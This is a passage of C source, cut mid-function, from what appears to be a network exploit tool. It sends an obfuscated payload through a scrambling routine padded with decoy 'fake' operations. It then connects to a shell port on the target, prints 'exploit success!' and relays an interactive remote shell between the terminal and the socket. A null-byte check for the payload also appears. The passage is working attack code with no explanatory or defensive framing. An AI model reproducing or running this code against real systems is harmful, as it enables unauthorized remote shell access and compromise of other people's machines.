cryption(payload) , strlen(cryption(payload)) , 0 ); usleep(7000); if( !attack_check() ) printf( "! exploit failed !\n" ); close(sockfd); return 0; } char *cryption( char *data ) { char output[4096*2]={0x00,}, fake_char; char *p, c; int n, i, fake_int; p = output; fake_int = n = strlen(data); i = 0; if( n%2 ) n *= -1; while( data[i] ) { if(i % 2) n *= -1; c = data[i] + n; if(i % 2) n *= -1; output[i++] = c; // fake fake_char = (data[i] + 72) % 128; if( fake_char ) fake_char += 128; fake_int--; } output[i] = 0; return p; } int attack_check( void ) { int sockfd; struct sockaddr_in target_addr; target_addr.sin_family = AF_INET; target_addr.sin_port = htons(RS_PORT); target_addr.sin_addr.s_addr = inet_addr(ADR); bzero( &target_addr.sin_zero, 8 ); sockfd = socket( AF_INET, SOCK_STREAM, 0 ); if( sockfd < 0 ) { perror( "connect(attack_check)" ); return -1; } if( (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr))) == -1 ) { close(sockfd); return 0; } else { printf( "================\n" ); printf( "exploit success!\n" ); printf( "================\n\n" ); socket_shell(sockfd); return 1; } } void socket_shell( int sockfd ) { int length; static int flag; char data[4096 +1] = {0x00,}; fd_set fds; flag = 0; while(1) { FD_ZERO(&fds); FD_SET( sockfd , &fds ); FD_SET( 0 , &fds ); select( sockfd +1 , &fds , NULL , NULL , NULL ); if( FD_ISSET( sockfd , &fds ) ) { memset( data , 0x0 , sizeof(data) ); length = recv( sockfd , data , sizeof(data) -1 , 0 ); if( length > 0 ) { length = write( 1 , data , length ); if( length < 0 ) continue; } } if( FD_ISSET( 0 , &fds ) ) { length = read( 0 , data , sizeof(data) -1 ); if( send( sockfd , data , length , 0 ) < 0 ) continue; } } } int check_null( char *get_p, int l ) { int i, length; char *p, c; p = get_p; length = l; printf( "\n\tpayload: %dbyte\n" , length ); for( i = 0 ; i < length ; i++ ) { c = *p++; if( c == 0 ) { printf( "\t\t [null found]\n\n" ); return 1; } } printf("\n"); return 0; }